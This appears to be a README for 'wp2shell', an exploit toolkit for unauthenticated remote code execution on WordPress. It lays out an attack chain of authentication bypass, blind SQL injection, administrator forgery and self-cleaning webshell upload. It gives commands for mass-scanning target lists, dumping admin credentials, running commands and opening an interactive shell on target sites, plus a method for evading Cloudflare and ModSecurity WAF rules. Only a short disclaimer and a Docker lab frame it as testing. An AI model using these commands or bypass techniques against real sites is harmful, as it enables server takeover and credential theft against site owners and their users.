___      __         ____
 _      _____  |__ \ ___/ /_  ___  / / /
| | /| / / _ \ __/ // __/ __ \/ _ \/ / / 
| |/ |/ /  __// __//_  / / / /  __/ / /  
|__/|__/\___//____//__/_/ /_/\___/_/_/   
                                         
  WordPress Pre-Auth RCE — CVE-2026-63030 + CVE-2026-60137
  by Venexy (M4xSec)

Unauthenticated Remote Code Execution on WordPress 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1. Patched in 6.8.6, 6.9.5, 7.0.2.

Quick Install

# Pre-compiled binary (fastest)
curl -sL https://github.com/M4xSec/wp2shell-Exploit-Waf-Bypass/releases/download/v1.0.0/wp2shell-linux-amd64 -o wp2shell && chmod +x wp2shell

# Or build from source
go build -o wp2shell go-scanner/wp2shell-master.go

Attack Chain

1. Route confusion via nested batch requests with invalid primer path bypasses authentication
2. Time-based blind SQLi extracts table prefix, admin ID, and credentials
3. UNION-based row forgery seeds oEmbed caches (read-only SQLi → DB writes)
4. Changeset elevation + re-entrant parse_request() forges an administrator
5. Plugin upload deploys a self-cleaning webshell
6. Command execution and automatic cleanup

Tools

Go Scanner (go-scanner/wp2shell-master.go)

All-in-one binary — scan, check, read, exploit, interactive shell.

go build -o wp2shell-master go-scanner/wp2shell-master.go

# Mass scan
./wp2shell-master scan -f targets.txt -j -t 20

# Confirm SQLi
./wp2shell-master check https://target.com --waf --delay 3.0

# Extract admin creds
./wp2shell-master read https://target.com --preset users

# Pre-auth RCE (no password needed)
./wp2shell-master rce https://target.com --cmd id -y --waf --stealth

# Interactive shell
./wp2shell-master rce https://target.com -i -y

WAF Bypass Tools (waf-bypass/)

Standalone scripts for Cloudflare/ModSecurity bypass via JSON unicode escaping of SQL keywords.

• core.py — Shared blind SQLi engine with WAF bypass
• dump_version.py — Extract @@version
• dump_dbname.py — Extract DATABASE()
• dump_tables.py — Enumerate tables
• dump_columns.py — Enumerate columns
• rce_shell.py — Full RCE chain with WAF bypass

Metasploit Modules (metasploit-modules/)

• wp2shell_rce.rb — Full RCE exploit module (PR #21760)
• wp2shell_scanner.rb — Non-destructive scanner (PR #21761)

Install locally:

mkdir -p ~/.msf4/modules/exploits/multi/http
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp metasploit-modules/wp2shell_rce.rb ~/.msf4/modules/exploits/multi/http/wp_wordpress_batch_rce.rb
cp metasploit-modules/wp2shell_scanner.rb ~/.msf4/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb

WAF Bypass Technique

The Cloudflare WAF inspects raw JSON bytes but does not decode \uXXXX escape sequences before pattern matching. WordPress's PHP json_decode() transparently decodes them.

• SLEEP → SLEEP — bypasses keyword detection
• Colon primer (: instead of http://:) — shorter, avoids URI pattern rules
• /wp-json/batch/v1 permalink path — avoids ?rest_route= blocking
• Origin + Referer headers from target domain — satisfies CORS/same-origin checks

Docker Lab

No-WAF Lab (port 8888)

cd lab
docker compose up -d --build
# WordPress 6.9.0 at http://localhost:8888
# Admin: admin / Summer2026!

WAF Lab (port 9999)

ModSecurity CRS (OWASP) with Cloudflare-style rules — unicode bypass confirmed.

cd lab/waf
docker compose up -d --build
# WordPress behind WAF at http://localhost:9999

Disclaimer

This tool is for authorized security testing only. Only use against systems you own or have explicit written permission to test. Unauthorized access is illegal.

License

MIT